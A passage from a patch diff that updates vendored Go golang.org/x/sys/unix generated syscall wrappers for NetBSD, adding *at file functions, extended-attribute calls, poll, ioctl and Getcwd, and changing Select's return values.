-@@ -1053,8 +1507,9 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1189,6 +1644,21 @@ func Stat(path string, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Statvfs1(path string, buf *Statvfs_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_STATVFS1, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(buf)), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Symlink(path string, link string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1209,6 +1679,26 @@ func Symlink(path string, link string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(oldpath)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(newpath)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Sync() (err error) {
- _, _, e1 := Syscall(SYS_SYNC, 0, 0, 0)
- if e1 != 0 {
-@@ -1257,6 +1747,21 @@ func Unlink(path string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Unlinkat(dirfd int, path string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Unmount(path string, flags int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_netbsd_arm.go b/vendor/golang.org/x/sys/unix/zsyscall_netbsd_arm.go
-index 0f4cc3b5..1153fe69 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_netbsd_arm.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_netbsd_arm.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -l32 -netbsd -arm -tags netbsd,arm syscall_bsd.go syscall_netbsd.go syscall_netbsd_arm.go
-+// go run mksyscall.go -l32 -netbsd -arm -tags netbsd,arm syscall_bsd.go syscall_netbsd.go syscall_netbsd_arm.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build netbsd,arm
-@@ -214,22 +214,6 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-- var _p0 unsafe.Pointer
-- if len(mib) > 0 {
-- _p0 = unsafe.Pointer(&mib[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func utimes(path string, timeval *[2]Timeval) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -255,9 +239,9 @@ func futimes(fd int, timeval *[2]Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -378,7 +362,7 @@ func pipe() (fd1 int, fd2 int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func getdents(fd int, buf []byte) (n int, err error) {
-+func Getdents(fd int, buf []byte) (n int, err error) {
- var _p0 unsafe.Pointer
- if len(buf) > 0 {
- _p0 = unsafe.Pointer(&buf[0])
-@@ -395,6 +379,49 @@ func getdents(fd int, buf []byte) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Getcwd(buf []byte) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall(SYS___GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ioctl(fd int, req uint, arg uintptr) (err error) {
-+ _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(mib) > 0 {
-+ _p0 = unsafe.Pointer(&mib[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Access(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -526,6 +553,16 @@ func Dup2(from int, to int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Dup3(from int, to int, flags int) (err error) {
-+ _, _, e1 := Syscall(SYS_DUP3, uintptr(from), uintptr(to), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Exit(code int) {
- Syscall(SYS_EXIT, uintptr(code), 0, 0)
- return
-@@ -533,6 +570,245 @@ func Exit(code int) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func ExtattrGetFd(fd int, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_GET_FD, uintptr(fd), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p0)), uintptr(data), uintptr(nbytes), 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrSetFd(fd int, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_SET_FD, uintptr(fd), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p0)), uintptr(data), uintptr(nbytes), 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrDeleteFd(fd int, attrnamespace int, attrname string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_EXTATTR_DELETE_FD, uintptr(fd), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p0)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrListFd(fd int, attrnamespace int, data uintptr, nbytes int) (ret int, err error) {
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_LIST_FD, uintptr(fd), uintptr(attrnamespace), uintptr(data), uintptr(nbytes), 0, 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrGetFile(file string, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(file)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_GET_FILE, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p1)), uintptr(data), uintptr(nbytes), 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrSetFile(file string, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(file)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_SET_FILE, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p1)), uintptr(data), uintptr(nbytes), 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrDeleteFile(file string, attrnamespace int, attrname string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(file)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_EXTATTR_DELETE_FILE, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p1)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrListFile(file string, attrnamespace int, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(file)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_LIST_FILE, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(data), uintptr(nbytes), 0, 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrGetLink(link string, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(link)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_GET_LINK, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p1)), uintptr(data), uintptr(nbytes), 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrSetLink(link string, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(link)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_SET_LINK, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p1)), uintptr(data), uintptr(nbytes), 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrDeleteLink(link string, attrnamespace int, attrname string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(link)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_EXTATTR_DELETE_LINK, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p1)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrListLink(link string, attrnamespace int, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(link)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_LIST_LINK, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(data), uintptr(nbytes), 0, 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fadvise(fd int, offset int64, length int64, advice int) (err error) {
-+ _, _, e1 := Syscall9(SYS_POSIX_FADVISE, uintptr(fd), 0, uintptr(offset), uintptr(offset>>32), 0, uintptr(length), uintptr(length>>32), uintptr(advice), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fchdir(fd int) (err error) {
- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
- if e1 != 0 {
-@@ -563,6 +839,21 @@ func Fchmod(fd int, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fchown(fd int, uid int, gid int) (err error) {
- _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid))
- if e1 != 0 {
-@@ -573,6 +864,21 @@ func Fchown(fd int, uid int, gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Flock(fd int, how int) (err error) {
- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
- if e1 != 0 {
-@@ -604,6 +910,31 @@ func Fstat(fd int, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatvfs1(fd int, buf *Statvfs_t, flags int) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTATVFS1, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fsync(fd int) (err error) {
- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
- if e1 != 0 {
-@@ -807,6 +1138,26 @@ func Link(path string, link string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Linkat(pathfd int, path string, linkfd int, link string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(link)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_LINKAT, uintptr(pathfd), uintptr(unsafe.Pointer(_p0)), uintptr(linkfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Listen(s int, backlog int) (err error) {
- _, _, e1 := Syscall(SYS_LISTEN, uintptr(s), uintptr(backlog), 0)
- if e1 != 0 {
-@@ -847,6 +1198,21 @@ func Mkdir(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mkfifo(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -862,6 +1228,21 @@ func Mkfifo(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mkfifoat(dirfd int, path string, mode uint32) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_MKFIFOAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mknod(path string, mode uint32, dev int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -877,6 +1258,21 @@ func Mknod(path string, mode uint32, dev int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
- if e1 != 0 {
-@@ -903,6 +1299,22 @@ func Open(path string, mode int, perm uint32) (fd int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm), 0, 0)
-+ fd = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Pathconf(path string, name int) (val int, err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -992,6 +1404,28 @@ func Readlink(path string, buf []byte) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p1 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p1 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Rename(from string, to string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(from)
-@@ -1012,6 +1446,26 @@ func Rename(from string, to string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Renameat(fromfd int, from string, tofd int, to string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(from)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(to)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(fromfd), uintptr(unsafe.Pointer(_p0)), uintptr(tofd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Revoke(path string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1053,8 +1507,9 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1189,6 +1644,21 @@ func Stat(path string, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Statvfs1(path string, buf *Statvfs_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_STATVFS1, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(buf)), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Symlink(path string, link string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1209,6 +1679,26 @@ func Symlink(path string, link string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(oldpath)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(newpath)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Sync() (err error) {
- _, _, e1 := Syscall(SYS_SYNC, 0, 0, 0)
- if e1 != 0 {
-@@ -1257,6 +1747,21 @@ func Unlink(path string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Unlinkat(dirfd int, path string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Unmount(path string, flags int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_freebsd_amd64.go b/vendor/golang.org/x/sys/unix/zsyscall_netbsd_arm64.go
-similarity index 92%
